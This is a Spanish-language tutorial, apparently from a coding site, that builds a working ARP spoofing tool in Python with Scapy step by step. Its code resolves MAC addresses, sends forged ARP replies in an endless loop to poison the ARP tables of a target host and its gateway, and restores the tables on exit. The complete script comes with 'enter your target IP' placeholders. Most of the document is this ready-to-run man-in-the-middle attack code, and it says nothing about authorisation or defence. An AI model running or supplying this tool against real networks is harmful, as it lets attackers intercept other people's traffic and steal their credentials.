Python: ¿cómo crear un ARP Spoofer usando Scapy?

La suplantación de ARP es un ataque malicioso en el que el pirata informático envía ARP falsificado en una red. Cada Node en una red conectada tiene una tabla ARP a través de la cual identificamos la dirección IP y la dirección MAC de los dispositivos conectados.
¿Qué objetivo es enviar una transmisión ARP para encontrar nuestra IP deseada que debe falsificarse y luego falsificar la puerta de enlace, así como el objetivo mediante la actualización de sus tablas ARP? Esto permitiría que los paquetes de red enviados por el objetivo pasen de nuestra máquina a la puerta de enlace de la red, lo que hace que la suplantación de ARP sea exitosa.
Para diseñar un script de Python para crear un suplantador de ARP, necesitamos el módulo Scapy. Scapy es una herramienta y biblioteca de manipulación de paquetes muy poderosa que está completamente escrita en python.
Para instalar este módulo, abra su terminal y escriba:

pip3 install scapy

El código que se muestra a continuación requiere Python 3 para funcionar. Se recomienda actualizar su python a la última versión.
Pasos para crear ARP Spoofer:

1. Obtener la dirección IP que queremos suplantar
2. Obtener la dirección MAC de la IP que queremos suplantar
3. Luego, cree un paquete de suplantación de identidad usando la función ARP() para establecer la IP de destino, la IP de suplantación de identidad y su dirección MAC que encontramos arriba.
4. Comience la suplantación de identidad
5. Mostrar la información de la cantidad de paquetes enviados
6. Finalmente, restablezca las tablas ARP de la dirección falsificada a los valores predeterminados después de la falsificación.

Ahora abra su IDE de python e importe scapy de la siguiente manera:

import scapy.all as scapy
import time

Ahora ideamos una función que nos devuelva la dirección MAC de nuestra dirección IP deseada:

def get_mac(ip):
    arp_request = scapy.ARP(pdst = ip)
    broadcast = scapy.Ether(dst ="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout = 5, verbose = False)[0]
    return answered_list[0][1].hwsrc

En esta función get_mac(), cualquier dirección IP que se ingrese se usa para crear un arp_request usando la función ARP() y configuramos la dirección mac de transmisión en «ff:ff:ff:ff:ff:ff» usando la función Ether
Ahora necesitamos unirlos en un solo paquete, por lo tanto, usamos / para hacerlo.
La función srp() devuelve dos listas de direcciones IP que respondieron al paquete y que no respondieron. La dirección MAC que tiene la dirección IP coincidente que se solicitó se almacenaría en el campo hwsrc . Devolvemos esta dirección MAC a donde se llamó a la función. Para conocer cuáles son los campos que ofrece scapy también puedes ejecutar el siguiente comando:

print(scapy.ls(scapy.ARP))

Sería recibido con los siguientes campos disponibles:

Ahora que hemos creado una función que nos da la dirección MAC deseada, ahora procederíamos a crear la función spoof() de la siguiente manera:

def spoof(target_ip, spoof_ip):
    packet = scapy.ARP(op = 2, pdst = target_ip, 
                     hwdst = get_mac(target_ip), 
                               psrc = spoof_ip)
  
    scapy.send(packet, verbose = False)

Esta función toma dos parámetros, es decir, la IP de destino y la IP de suplantación de identidad. Usamos la función ARP() nuevamente para diseñar un paquete que modifica la tabla ARP de la puerta de enlace y el destino y usamos la función enviar() para comenzar a suplantar. Puede configurar el detallado en Falso porque la función de envío muestra información predeterminada que no necesitamos. Puede modificar esta opción para obtener una mejor comprensión.
Ahora llamamos a la función spoof para iniciar ARP Spoofing:

target_ip = "10.0.2.5" # Enter your target IP
gateway_ip = "10.0.2.1" # Enter your gateway's IP
spoof(target_ip, gateway_ip) 
spoof(gateway_ip, target_ip)

Ahora, desafortunadamente, el código anterior solo actualiza las tablas ARP una vez. Si no seguimos actualizándolos continuamente, entonces, de forma predeterminada, la tabla ARP de Target se corregiría a sí misma a los valores predeterminados.
Por lo tanto, modificamos este código:

target_ip = "10.0.2.5"
gateway_ip = "10.0.2.1"
while True:
        spoof(target_ip, gateway_ip)

Pero nuevamente este código no muestra la cantidad de paquetes enviados, por lo que lo modificamos nuevamente:

sent_packets_count = 0
while True:
        spoof(target_ip, gateway_ip)
        spoof(gateway_ip, target_ip)
        sent_packets_count = sent_packets_count + 2
        print("\r[*] Packets Sent "+str(sent_packets_count), end ="")

El código anterior ahora funcionaría correctamente como se esperaba, pero todavía hay algunas cosas que quedan incompletas. Eso incluye el ciclo infinito que este código seguiría ejecutándose si no le damos una interrupción para que se detenga.
Por lo tanto, el código anterior se puede reescribir:

target_ip = "10.0.2.5"
gateway_ip = "10.0.2.1"
  
try:
    sent_packets_count = 0
    while True:
        spoof(target_ip, gateway_ip)
        spoof(gateway_ip, target_ip)
        sent_packets_count = sent_packets_count + 2
        print("\r[*] Packets Sent "+str(sent_packets_count), end ="")
        time.sleep(2) # Waits for two seconds
except KeyboardInterrupt:
    print("\nCtrl + C pressed.............Exiting")

El código anterior funcionaría perfectamente y se detendría cada vez que se interrumpiera el teclado. Este código es casi perfecto, pero aún no hemos vuelto a actualizar las tablas ARP a sus valores predeterminados. Por lo tanto, podemos crear una función para hacer eso de la siguiente manera:

def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op = 2, pdst = destination_ip, 
                             hwdst = destination_mac, 
                psrc = source_ip, hwsrc = source_mac)
  
    scapy.send(packet, verbose = False)

Ahora que finalmente hemos cubierto todo, el código para ARP Spoofing debería verse así:

import scapy.all as scapy
import time
  
def get_mac(ip):
    arp_request = scapy.ARP(pdst = ip)
    broadcast = scapy.Ether(dst ="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout = 5, verbose = False)[0]
    return answered_list[0][1].hwsrc
  
def spoof(target_ip, spoof_ip):
    packet = scapy.ARP(op = 2, pdst = target_ip, hwdst = get_mac(target_ip),
                                                            psrc = spoof_ip)
    scapy.send(packet, verbose = False)
  
  
def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op = 2, pdst = destination_ip, hwdst = destination_mac, psrc = source_ip, hwsrc = source_mac)
    scapy.send(packet, verbose = False)
      
  
target_ip = "10.0.2.5" # Enter your target IP
gateway_ip = "10.0.2.1" # Enter your gateway's IP
  
try:
    sent_packets_count = 0
    while True:
        spoof(target_ip, gateway_ip)
        spoof(gateway_ip, target_ip)
        sent_packets_count = sent_packets_count + 2
        print("\r[*] Packets Sent "+str(sent_packets_count), end ="")
        time.sleep(2) # Waits for two seconds
  
except KeyboardInterrupt:
    print("\nCtrl + C pressed.............Exiting")
    restore(gateway_ip, target_ip)
    restore(target_ip, gateway_ip)
    print("[+] Arp Spoof Stopped")

Ahora que ha diseñado el código con éxito, es hora de ejecutarlo y comprobar si funciona:

A continuación se muestra la captura de pantalla de Hacker Machine :

A continuación se muestra la captura de pantalla de Victim Machine :

Aquí podemos ver claramente que la dirección MAC de Victim’s Gateway en 10.0.2.1 ha cambiado claramente la segunda vez. Por lo tanto, sabemos que nuestro código de suplantación de ARP está funcionando correctamente.